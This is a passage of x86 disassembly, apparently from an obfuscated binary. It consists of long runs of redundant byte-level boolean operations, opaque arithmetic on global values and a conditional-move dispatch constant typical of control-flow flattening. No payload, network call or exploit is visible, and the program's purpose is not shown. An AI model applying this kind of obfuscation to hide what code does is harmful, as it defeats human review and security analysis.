and bh, dh
xor al, dh
or bh, al
mov dh, bl
xor dh, 0xff
and dh, 1
mov al, 1
xor al, 1
and bl, al
mov byte [ebp - 0x5f3], bl
mov bl, bh
xor bl, 0xff
and bl, 0xff
and bh, al
mov al, byte [ebp - 0x5f3]
or dh, al
mov al, byte [ebp - 0x5f2]
or bl, bh
xor dh, bl
mov byte [ebp - 0x5ee], dh
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x5ef], dh
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
and dh, 0xff
and al, bl
mov byte [ebp - 0x5f1], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x5f0], al
mov al, byte [ebp - 0x5f1]
and cl, bl
or dh, al
mov al, byte [ebp - 0x5f0]
or al, cl
mov cl, byte [ebp - 0x5ef]
xor dh, al
mov al, byte [ebp - 0x5ee]
or cl, bh
xor cl, 0xff
or bl, 1
and cl, bl
or dh, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
and dh, bl
or cl, dh
mov dh, ah
and dh, 1
xor ah, 1
or dh, ah
xor cl, 0xff
xor dh, 0xff
mov ah, 1
xor ah, 0
or cl, dh
or ah, 0
xor cl, 0xff
and cl, ah
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x5ed], bh
mov dh, cl
xor dh, 0xff
mov ah, 1
xor ah, 0
and bh, 0
and al, ah
mov bl, dh
and bl, 0
and cl, ah
or bh, al
mov al, byte [ebp - 0x5ed]
or bl, cl
mov cl, byte [ebp - 0x5ec]
xor bh, bl
or al, dh
xor al, 0xff
or ah, 0
and al, ah
or bh, al
mov dh, ch
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
mov al, ch
and al, ah
or dh, al
mov ah, bh
xor ah, 0xff
xor dh, 0xff
mov al, 1
xor al, 0
or ah, dh
or al, 0
xor ah, 0xff
and ah, al
mov dh, bh
xor dh, 0xff
and dh, 1
mov bl, 1
xor bl, 1
and bh, bl
mov al, 1
xor al, 1
and al, 0xff
and bl, 1
or dh, bh
or al, bl
xor dh, al
xor ch, 0xff
xor dh, 0xff
mov al, 1
xor al, 0
or ch, dh
or al, 0
xor ch, 0xff
and ch, al
mov al, ah
and al, ch
xor ah, ch
or al, ah
mov byte [ebp - 0x5e1], al
mov al, cl
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
mov dh, cl
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or al, dh
or ah, ch
xor al, ah
mov byte [ebp - 0x5e5], al
mov bh, dl
xor bh, 0xff
and bh, 1
mov ch, 1
xor ch, 1
mov dh, dl
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or bh, dh
or ah, ch
xor bh, ah
mov ah, 1
xor ah, 1
and ah, 1
mov ch, 1
xor ch, 1
and ch, 1
or ah, ch
mov byte [ebp - 0x5e6], ah
mov ch, 1
xor ch, 1
mov bl, al
xor bl, ch
and bl, al
mov ch, ah
xor ch, 0xff
mov al, cl
xor al, ch
and al, cl
mov ch, 1
xor ch, 1
mov cl, bh
xor cl, ch
and cl, bh
mov byte [ebp - 0x5e9], cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov dl, bl
xor dl, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 1
mov ah, dl
and ah, 0xff
and bl, ch
mov byte [ebp - 0x5eb], bl
mov bl, dh
and bl, 0xff
and al, ch
mov byte [ebp - 0x5ea], al
mov al, byte [ebp - 0x5eb]
or ah, al
mov al, byte [ebp - 0x5ea]
or bl, al
mov al, byte [ebp - 0x5e9]
xor ah, bl
or dl, dh
xor dl, 0xff
or ch, 1
and dl, ch
or ah, dl
mov dl, al
xor dl, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ch, dl
and ch, 0xff
and al, dh
mov byte [ebp - 0x5e8], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x5e7], al
mov al, byte [ebp - 0x5e8]
and cl, dh
or ch, al
mov al, byte [ebp - 0x5e7]
or al, cl
mov cl, byte [ebp - 0x5e6]
xor ch, al
mov al, byte [ebp - 0x5e5]
or dl, bl
xor dl, 0xff
or dh, 1
and dl, dh
or ch, dl
mov dh, ah
xor dh, 0xff
mov dl, ch
and dl, dh
xor ch, 0xff
and ah, ch
or dl, ah
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x5e4], dh
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
and dh, 0
and al, ah
mov bl, ch
and bl, 0
and bh, ah
or dh, al
mov al, byte [ebp - 0x5e4]
or bl, bh
xor dh, bl
or al, ch
xor al, 0xff
or ah, 0
and al, ah
or dh, al
mov ah, dh
xor ah, 0xff
and ah, 0
mov ch, 1
xor ch, 0
and dh, ch
mov al, 1
xor al, 1
and al, 0
and ch, 1
or ah, dh
or al, ch
xor ah, al
mov ch, 1
xor ch, 1
mov byte [ebp - 0x5e3], ch
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
and ch, 0xff
mov al, dh
and al, 1
mov bh, bl
and bh, 0xff
and cl, dh
or ch, al
mov al, byte [ebp - 0x5e3]
or bh, cl
mov cl, byte [ebp - 0x5e2]
xor ch, bh
or al, bl
xor al, 0xff
or dh, 1
and al, dh
or ch, al
xor ah, 0xff
xor ch, 0xff
mov al, 1
xor al, 1
or ah, ch
or al, 1
xor ah, 0xff
and ah, al
mov al, dl
and al, ah
xor dl, ah
or al, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
mov ah, al
and ah, ch
or dl, ah
xor dl, 0xff
xor dl, 0
and dl, 0
mov ah, 1
xor ah, 0
and ah, 1
mov ch, 1
xor ch, 1
and ch, 0
or ah, ch
mov ch, ah
xor ch, 0xff
mov dh, al
xor dh, ch
and dh, al
mov al, 1
xor al, 1
and al, 1
mov ch, 1
xor ch, 1
and ch, 1
or al, ch
xor al, 0xff
mov bl, 1
xor bl, 0
mov ch, 1
xor ch, 0
or al, bl
or ch, 0
xor al, 0xff
and al, ch
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov ch, dl
and ch, dh
xor dl, dh
or ch, dl
mov dl, al
and dl, ah
xor al, ah
or dl, al
mov ah, ch
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
and ch, dh
mov al, dl
xor al, 0xff
and al, 0xff
and dl, dh
or ah, ch
or al, dl
xor ah, al
mov al, 1
xor al, 0
mov ch, cl
xor ch, 0xff
mov dl, 1
xor dl, 0
or al, ch
or dl, 0
xor al, 0xff
and al, dl
mov dl, 1
xor dl, 0
mov bh, cl
and bh, dl
xor cl, 0xff
and cl, 0
or bh, cl
mov dl, al
xor dl, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov cl, dl
and cl, 0
and al, ch
mov bl, dh
and bl, 0
and bh, ch
or cl, al
mov al, byte [ebp - 0x5e1]
or bl, bh
xor cl, bl
or dl, dh
xor dl, 0xff
or ch, 0
and dl, ch
or cl, dl
mov ch, cl
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
and cl, dl
or ch, cl
mov cl, ah
xor cl, 0xff
mov dl, ch
and dl, cl
xor ch, 0xff
mov cl, ah
and cl, ch
or dl, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov dl, cl
xor dl, 0xff
mov bl, al
xor bl, dl
and bl, al
mov dl, al
xor dl, 0xff
mov dh, cl
and dh, dl
xor cl, 0xff
and al, cl
or dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x20d65cab
mov ecx, 0xec90293f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x43690c
mov ecx, dword [0x511348]
mov eax, dword [0x511344]
xor edi, edi
sub edi, 0x567dca4c
sub edi, 0xb8b2bd98
add edi, 0x567dca4c
add edi, 0x3ff41aa7
sub edi, 1
sub edi, 0x3ff41aa7
xor edx, edx
sub edx, 0xb8b2bd98
sub edi, edx
xor esi, esi
sub esi, 0x31ff4ac3
mov edx, ecx
add edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
add edx, 0xa0a80cb8
add edx, 0x31ff4ac3
sub edx, 0xa0a80cb8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
mov byte [ebp - 0x675], cl
cmp eax, 0xa
setl dl
mov ch, cl
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
mov al, cl
and al, ah
or ch, al
mov al, 1
xor al, 1
xor ch, 0xff
mov ah, 1
xor ah, 0
or al, ch
or ah, 0
xor al, 0xff
and al, ah
mov ch, 1
xor ch, 1
and ch, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 1
mov ah, 1
xor ah, 1
and ah, 0xff
and dh, 1
or ch, bl
or ah, dh
xor ch, ah
xor cl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 0
or cl, ch
or ah, 0
xor cl, 0xff
and cl, ah
mov bh, al
and bh, cl
xor al, cl
or bh, al
mov cl, dl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov al, dl
and al, ah
or cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov bl, 1
xor bl, 1
and bl, 1
mov ah, 1
xor ah, 1
mov ch, ah
and ch, 1
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or bl, ch
or al, ah
xor bl, al
mov al, dl
xor al, 0xff
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 1
or al, ch
or ah, 1
xor al, 0xff
and al, ah
mov byte [ebp - 0x67a], al
mov ah, 1
xor ah, 1
and ah, 1
mov ch, 1
xor ch, 1
and ch, 1
or ah, ch
mov dh, 1
xor dh, 1
mov ch, ah
xor ch, dh
and ch, ah
mov dh, 1
xor dh, 1
xor bl, 0xff
mov ah, 1
xor ah, 1
or dh, bl
or ah, 1
xor dh, 0xff
and dh, ah
mov ah, cl
xor ah, 0xff
xor al, 0xff
mov byte [ebp - 0x674], al
mov bl, 1
xor bl, 1
mov al, ah
and al, 0xff
mov byte [ebp - 0x679], al
mov al, byte [ebp - 0x674]
and cl, bl
and al, 0xff
mov byte [ebp - 0x678], al
mov al, byte [ebp - 0x67a]
and al, bl
mov byte [ebp - 0x677], al
mov al, byte [ebp - 0x679]
or al, cl
mov cl, byte [ebp - 0x678]
mov byte [ebp - 0x676], al
mov al, byte [ebp - 0x677]
or cl, al
mov al, byte [ebp - 0x676]
xor al, cl
mov cl, byte [ebp - 0x675]
mov byte [ebp - 0x673], al
mov al, byte [ebp - 0x674]
or ah, al
mov al, byte [ebp - 0x673]
xor ah, 0xff
or bl, 1
and ah, bl
or al, ah
mov ah, ch
and ah, dh
xor ch, dh
or ah, ch
mov ch, al
xor ch, 0xff
mov bl, ah
and bl, ch
xor ah, 0xff
and al, ah
or bl, al
mov ch, 1
xor ch, 1
and ch, 1
mov ah, 1
xor ah, 1
mov dh, ah
and dh, 1
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or ch, dh
or al, ah
xor ch, al
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov dh, 1
xor dh, 1
and dh, 1
mov al, 1
xor al, 1
and al, 1
or dh, al
mov byte [ebp - 0x670], dh
mov al, 1
xor al, 1
xor dh, 0xff
mov ah, 1
xor ah, 0
or al, dh
or ah, 0
xor al, 0xff
and al, ah
mov byte [ebp - 0x66f], al
mov dh, 1
xor dh, 1
and dh, 1
mov ah, 1
xor ah, 1
mov al, ah
and al, 1
mov byte [ebp - 0x672], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x671], al
mov al, byte [ebp - 0x672]
and ah, 1
or dh, al
mov al, byte [ebp - 0x671]
or al, ah
xor dh, al
mov al, 1
xor al, 1
mov ah, dh
xor ah, al
mov al, byte [ebp - 0x670]
and ah, dh
mov byte [ebp - 0x66e], ah
mov dh, 1
xor dh, 1
xor al, 0xff
mov ah, 1
xor ah, 0
or dh, al
mov al, byte [ebp - 0x66f]
or ah, 0
xor dh, 0xff
and dh, ah
mov ah, ch
and ah, al
xor ch, al
mov al, byte [ebp - 0x66e]
or ah, ch
mov ch, al
and ch, dh
xor al, dh
or ch, al
mov dh, ah
xor dh, 0xff
mov al, ch
and al, dh
xor ch, 0xff
and ah, ch
or al, ah
mov byte [ebp - 0x626], al
mov ch, bh
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
mov dh, bh
and dh, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or ch, dh
or al, ah
xor ch, al
mov dh, 1
xor dh, 1
and dh, 0
mov ah, 1
xor ah, 0
mov al, ah
and al, 1
mov byte [ebp - 0x66d], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x66c], al
mov al, byte [ebp - 0x66d]
and ah, 1
or dh, al
mov al, byte [ebp - 0x66c]
or al, ah
xor dh, al
mov ah, 1
xor ah, 1
and ah, 1
mov al, 1
xor al, 1
and al, 1
or ah, al
mov al, ch
and al, dh
xor ch, dh
or al, ch
mov ch, ah
and ch, 1
xor ah, 1
or ch, ah
mov ah, al
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
and al, dh
mov byte [ebp - 0x66b], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x66a], al
mov al, byte [ebp - 0x66b]
and dh, 1
or ah, al
mov al, byte [ebp - 0x66a]
or al, dh
mov dh, byte [ebp - 0x626]
xor ah, al
xor ch, 0xff
mov al, ah
xor al, ch
and al, ah
mov byte [ebp - 0x65a], al
mov ah, dh
xor ah, 0xff
and ah, 0
mov ch, 1
xor ch, 0
and dh, ch
mov al, 1
xor al, 1
and al, 0
and ch, 1
or ah, dh
or al, ch
xor ah, al
mov ch, cl
xor ch, 0xff
and ch, 1
mov al, 1
xor al, 1
mov byte [ebp - 0x669], al
mov dh, cl
and dh, al
mov al, ah
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x668], al
mov al, byte [ebp - 0x669]
and ah, al
mov al, byte [ebp - 0x668]
or ch, dh
or al, ah
xor ch, al
xor ch, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or ch, cl
or al, 1
xor ch, 0xff
and ch, al
mov al, bl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov dh, bl
and dh, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or al, dh
or cl, ah
xor al, cl
mov byte [ebp - 0x667], al
mov cl, 1
xor cl, 1
and cl, 0
mov dh, 1
xor dh, 0
mov al, dh
and al, 1
mov ah, 1
xor ah, 1
and ah, 0
and dh, 1
or cl, al
mov al, byte [ebp - 0x667]
or ah, dh
xor cl, ah
mov ah, 1
xor ah, 1
and ah, 1
mov dh, 1
xor dh, 1
and dh, 1
or ah, dh
mov byte [ebp - 0x662], ah
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x663], dh
mov ah, cl
xor ah, 0xff
mov byte [ebp - 0x664], ah
mov ah, 1
xor ah, 0
and dh, 0
and al, ah
mov byte [ebp - 0x666], al
mov al, byte [ebp - 0x664]
and al, 0
mov byte [ebp - 0x665], al
mov al, byte [ebp - 0x666]
and cl, ah
or dh, al
mov al, byte [ebp - 0x665]
or al, cl
mov cl, byte [ebp - 0x664]
xor dh, al
mov al, byte [ebp - 0x663]
or al, cl
mov cl, byte [ebp - 0x662]
xor al, 0xff
or ah, 0
and al, ah
or dh, al
mov ah, 1
xor ah, 1
mov byte [ebp - 0x65e], ah
mov al, cl
xor al, 0xff
mov byte [ebp - 0x65f], al
mov al, 1
xor al, 1
mov byte [ebp - 0x65d], al
and ah, 0xff
and al, 1
mov byte [ebp - 0x661], al
mov al, byte [ebp - 0x65f]
and al, 0xff
mov byte [ebp - 0x660], al
mov al, byte [ebp - 0x65d]
and cl, al
mov al, byte [ebp - 0x661]
or ah, al
mov al, byte [ebp - 0x660]
or al, cl
mov cl, byte [ebp - 0x65f]
xor ah, al
mov al, byte [ebp - 0x65e]
or al, cl
mov cl, byte [ebp - 0x65d]
xor al, 0xff
or cl, 1
and al, cl
or ah, al
mov cl, dh
xor cl, 0xff
and cl, 1
mov al, 1
xor al, 1
and dh, al
mov byte [ebp - 0x65c], dh
mov dh, 1
xor dh, 1
and dh, 0xff
and al, 1
mov byte [ebp - 0x65b], al
mov al, byte [ebp - 0x65c]
or cl, al
mov al, byte [ebp - 0x65b]
or dh, al
mov al, byte [ebp - 0x626]
xor cl, dh
xor ah, 0xff
mov dh, cl
xor dh, ah
and dh, cl
mov ah, al
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
and al, cl
mov cl, byte [ebp - 0x65a]
or ah, al
mov byte [ebp - 0x659], ah
mov al, dl
xor al, 0xff
and ah, al
mov al, byte [ebp - 0x659]
mov byte [ebp - 0x658], ah
xor al, 0xff
mov ah, dl
and ah, al
mov al, byte [ebp - 0x658]
or al, ah
xor dl, 0xff
mov ah, al
xor ah, dl
and ah, al
mov al, cl
xor al, 0xff
and al, 1
mov byte [ebp - 0x657], al
mov al, 1
xor al, 1
mov dl, cl
and dl, al
mov al, byte [ebp - 0x657]
or al, dl
mov byte [ebp - 0x648], al
mov al, ch
xor al, 0xff
and al, 1
mov byte [ebp - 0x656], al
mov al, 1
xor al, 1
mov dl, ch
and dl, al
mov al, byte [ebp - 0x656]
or al, dl
mov byte [ebp - 0x64b], al
mov al, 1
xor al, 1
and al, 1
mov dl, 1
xor dl, 1
and dl, 1
or al, dl
mov dl, byte [ebp - 0x648]
mov byte [ebp - 0x643], al
xor dl, 0xff
mov al, 1
xor al, 1
mov byte [ebp - 0x655], al
mov al, 1
xor al, 0
mov byte [ebp - 0x654], al
mov al, byte [ebp - 0x655]
or dl, al
mov al, byte [ebp - 0x654]
or al, 0
xor dl, 0xff
and dl, al
mov al, byte [ebp - 0x643]
mov byte [ebp - 0x653], dl
xor cl, 0xff
xor al, 0xff
mov dl, 1
xor dl, 1
or cl, al
mov al, byte [ebp - 0x653]
or dl, 1
xor cl, 0xff
and cl, dl
mov dl, byte [ebp - 0x64b]
mov byte [ebp - 0x652], cl
mov cl, 1
xor cl, 1
xor dl, cl
mov cl, byte [ebp - 0x64b]
and dl, cl
mov cl, byte [ebp - 0x643]
mov byte [ebp - 0x64c], dl
xor cl, 0xff
mov dl, ch
xor dl, cl
mov cl, byte [ebp - 0x652]
and dl, ch
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x64e], ch
xor cl, 0xff
mov byte [ebp - 0x64f], cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0x64d], cl
and ch, 0
and al, cl
mov cl, byte [ebp - 0x652]
mov byte [ebp - 0x651], al
mov al, byte [ebp - 0x64f]
and al, 0
mov byte [ebp - 0x650], al
mov al, byte [ebp - 0x64d]
and cl, al
mov al, byte [ebp - 0x651]
or ch, al
mov al, byte [ebp - 0x650]
or al, cl
mov cl, byte [ebp - 0x64f]
xor ch, al
mov al, byte [ebp - 0x64e]
or al, cl
mov cl, byte [ebp - 0x64d]
xor al, 0xff
or cl, 0
and al, cl
mov cl, byte [ebp - 0x64c]
or ch, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov dl, ch
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
and ch, cl
mov byte [ebp - 0x64a], ch
mov ch, al
xor ch, 0xff
and ch, 0xff
and al, cl
mov cl, byte [ebp - 0x64b]
mov byte [ebp - 0x649], al
mov al, byte [ebp - 0x64a]
or dl, al
mov al, byte [ebp - 0x649]
or ch, al
mov al, byte [ebp - 0x648]
xor dl, ch
mov byte [ebp - 0x63d], dl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x644], dl
mov ch, cl
xor ch, 0xff
mov byte [ebp - 0x645], ch
mov ch, 1
xor ch, 0
and dl, 0
and al, ch
mov byte [ebp - 0x647], al
mov al, byte [ebp - 0x645]
and al, 0
mov byte [ebp - 0x646], al
mov al, byte [ebp - 0x647]
and cl, ch
or dl, al
mov al, byte [ebp - 0x646]
or al, cl
mov cl, byte [ebp - 0x645]
xor dl, al
mov al, byte [ebp - 0x644]
or al, cl
mov cl, byte [ebp - 0x643]
xor al, 0xff
or ch, 0
and al, ch
or dl, al
mov al, dl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and dl, ch
or al, dl
mov byte [ebp - 0x640], al
mov dl, 1
xor dl, 1
mov al, cl
xor al, 0xff
mov byte [ebp - 0x63f], al
mov al, 1
xor al, 1
mov byte [ebp - 0x63e], al
mov ch, dl
and ch, 0xff
and al, 1
mov byte [ebp - 0x642], al
mov al, byte [ebp - 0x63f]
and al, 0xff
mov byte [ebp - 0x641], al
mov al, byte [ebp - 0x63e]
and cl, al
mov al, byte [ebp - 0x642]
or ch, al
mov al, byte [ebp - 0x641]
or al, cl
mov cl, byte [ebp - 0x640]
xor ch, al
mov al, byte [ebp - 0x63f]
or dl, al
mov al, byte [ebp - 0x63e]
xor dl, 0xff
or al, 1
and dl, al
mov al, byte [ebp - 0x63d]
or ch, dl
xor ch, 0xff
mov dl, cl
xor dl, ch
and dl, cl
mov byte [ebp - 0x63c], dl
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x638], ch
xor dl, 0xff
mov cl, 1
xor cl, 1
mov byte [ebp - 0x639], cl
and ch, 0xff
and al, cl
mov cl, byte [ebp - 0x63c]
mov byte [ebp - 0x63b], al
mov al, dl
and al, 0xff
mov byte [ebp - 0x63a], al
mov al, byte [ebp - 0x639]
and cl, al
mov al, byte [ebp - 0x63b]
or ch, al
mov al, byte [ebp - 0x63a]
or al, cl
mov cl, byte [ebp - 0x639]
xor ch, al
mov al, byte [ebp - 0x638]
or al, dl
xor al, 0xff
or cl, 1
and al, cl
or ch, al
mov cl, dh
xor cl, 0xff
mov dl, ah
xor dl, 0xff
mov al, 1
xor al, 1
or cl, dl
or al, 1
xor cl, 0xff
and cl, al
mov dl, dh
xor dl, 0xff
and dl, 0
mov al, 1
xor al, 0
mov byte [ebp - 0x637], al
and dh, al
mov al, ah
xor al, 0xff
and al, 0
mov byte [ebp - 0x636], al
mov al, byte [ebp - 0x637]
and ah, al
mov al, byte [ebp - 0x636]
or dl, dh
or al, ah
xor dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov byte [ebp - 0x635], al
mov cl, ch
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, ch
and al, dl
or cl, al
xor cl, 0xff
xor cl, 0
and cl, 0
mov ah, 1
xor ah, 0
and ah, 0
mov dh, 1
xor dh, 0
mov al, dh
and al, 0
mov dl, 1
xor dl, 1
and dl, 0
and dh, 1
or ah, al
mov al, byte [ebp - 0x635]
or dl, dh
xor ah, dl
mov dh, ah
xor dh, 0xff
mov dl, ch
xor dl, dh
and dl, ch
mov byte [ebp - 0x634], dl
mov dl, al
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
mov ch, al
and ch, dh
or dl, ch
mov ch, 1
xor ch, 0
mov dh, dl
xor dh, ch
mov ch, byte [ebp - 0x634]
and dh, dl
xor al, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or al, ah
or dl, 0
xor al, 0xff
and al, dl
mov byte [ebp - 0x62f], al
mov dl, cl
xor dl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 1
mov al, dl
and al, 0xff
mov byte [ebp - 0x633], al
and cl, ah
mov al, ch
and al, 0xff
mov byte [ebp - 0x631], al
mov al, byte [ebp - 0x634]
and al, ah
mov byte [ebp - 0x632], al
mov al, byte [ebp - 0x633]
or al, cl
mov cl, byte [ebp - 0x632]
mov byte [ebp - 0x630], al
mov al, byte [ebp - 0x631]
or al, cl
mov cl, byte [ebp - 0x630]
xor cl, al
mov al, byte [ebp - 0x62f]
or dl, ch
xor dl, 0xff
or ah, 1
and dl, ah
or cl, dl
mov dl, dh
xor dl, 0xff
mov byte [ebp - 0x62c], dl
mov ch, al
xor ch, 0xff
mov ah, 1
xor ah, 0
and dl, 0
and dh, ah
mov byte [ebp - 0x62e], dh
mov dh, ch
and dh, 0
and al, ah
mov byte [ebp - 0x62d], al
mov al, byte [ebp - 0x62e]
or dl, al
mov al, byte [ebp - 0x62d]
or dh, al
mov al, byte [ebp - 0x62c]
xor dl, dh
or al, ch
xor al, 0xff
or ah, 0
and al, ah
or dl, al
mov ah, cl
xor ah, 0xff
mov al, dl
and al, ah
xor dl, 0xff
and cl, dl
or al, cl
mov byte [ebp - 0x61e], al
mov cl, bh
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov ah, bh
and ah, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, ah
or al, dl
xor cl, al
mov dl, bl
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov ch, bl
and ch, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or dl, ch
or al, ah
xor dl, al
mov ah, 1
xor ah, 0
and ah, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 0
mov al, 1
xor al, 1
and al, 0
and ch, 1
or ah, dh
or al, ch
xor ah, al
mov al, 1
xor al, 0
mov ch, cl
xor ch, al
and ch, cl
xor bh, 0xff
mov dh, ah
xor dh, 0xff
mov al, 1
xor al, 0
or bh, dh
or al, 0
xor bh, 0xff
and bh, al
mov dh, dl
xor dh, 0xff
mov al, 1
xor al, 0
mov byte [ebp - 0x62b], al
mov al, 1
xor al, 0
mov byte [ebp - 0x62a], al
mov al, byte [ebp - 0x62b]
or dh, al
mov al, byte [ebp - 0x62a]
or al, 0
xor dh, 0xff
and dh, al
xor bl, 0xff
mov al, ah
xor al, 0xff
mov byte [ebp - 0x629], al
mov al, 1
xor al, 0
mov byte [ebp - 0x628], al
mov al, byte [ebp - 0x629]
or bl, al
mov al, byte [ebp - 0x628]
or al, 0
xor bl, 0xff
and bl, al
mov al, ch
and al, bh
xor ch, bh
or al, ch
mov ch, dh
and ch, bl
xor dh, bl
or ch, dh
mov dh, al
xor dh, 0xff
mov bh, ch
and bh, dh
xor ch, 0xff
and al, ch
or bh, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov bl, al
xor bl, 0xff
and bl, 1
mov cl, 1
xor cl, 1
and al, cl
or bl, al
mov cl, 1
xor cl, 0
mov byte [ebp - 0x627], cl
mov ch, ah
xor ch, 0xff
mov dl, 1
xor dl, 1
and cl, 0xff
mov al, dl
and al, 0
mov dh, ch
and dh, 0xff
and ah, dl
or cl, al
mov al, byte [ebp - 0x627]
or dh, ah
mov ah, byte [ebp - 0x626]
xor cl, dh
or al, ch
xor al, 0xff
or dl, 1
and al, dl
or cl, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or bl, cl
or al, 0
xor bl, 0xff
and bl, al
mov al, bh
xor al, 0xff
mov ch, bl
xor ch, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bh, cl
mov dh, ch
and dh, 0
and bl, cl
or dl, bh
or dh, bl
xor dl, dh
or al, ch
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov ch, dl
xor ch, 0xff
and ch, 0
mov cl, 1
xor cl, 0
mov dh, dl
and dh, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ch, dh
or al, cl
xor ch, al
mov al, 1
xor al, 1
xor ch, 0xff
mov cl, 1
xor cl, 0
or al, ch
or cl, 0
xor al, 0xff
and al, cl
mov ch, 1
xor ch, 1
and ch, 1
mov cl, 1
xor cl, 1
and cl, 1
or ch, cl
xor ch, 0xff
mov cl, dl
xor cl, ch
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov cl, 1
xor cl, 1
and cl, 1
mov ch, 1
xor ch, 1
mov dh, ch
and dh, 1
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or cl, dh
or al, ch
xor cl, al
mov byte [ebp - 0x622], cl
mov bl, ah
xor bl, 0xff
and bl, 1
mov ch, 1
xor ch, 1
mov al, ah
and al, ch
or bl, al
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
mov dh, 1
xor dh, 1
mov al, cl
xor al, dh
and al, cl
mov cl, ch
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov byte [ebp - 0x625], cl
mov bh, 1
xor bh, 1
mov dh, bl
xor dh, bh
and dh, bl
mov byte [ebp - 0x61f], dh
xor ah, 0xff
mov bh, ch
xor bh, 0xff
mov dh, 1
xor dh, 1
or ah, bh
or dh, 1
xor ah, 0xff
and ah, dh
mov bh, al
xor bh, 0xff
xor cl, 0xff
mov byte [ebp - 0x621], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0x620], cl
mov dh, bh
and dh, 0xff
and al, cl
mov cl, byte [ebp - 0x625]
mov byte [ebp - 0x624], al
mov al, byte [ebp - 0x621]
and al, 0xff
mov byte [ebp - 0x623], al
mov al, byte [ebp - 0x620]
and cl, al
mov al, byte [ebp - 0x624]
or dh, al
mov al, byte [ebp - 0x623]
or al, cl
mov cl, byte [ebp - 0x622]
xor dh, al
mov al, byte [ebp - 0x621]
or bh, al
mov al, byte [ebp - 0x620]
xor bh, 0xff
or al, 1
and bh, al
mov al, byte [ebp - 0x61f]
or dh, bh
mov bh, al
and bh, ah
xor al, ah
or bh, al
mov al, dh
xor al, 0xff
mov ah, bh
and ah, al
mov al, byte [ebp - 0x61e]
xor bh, 0xff
and dh, bh
or ah, dh
mov dh, cl
and dh, bl
xor cl, bl
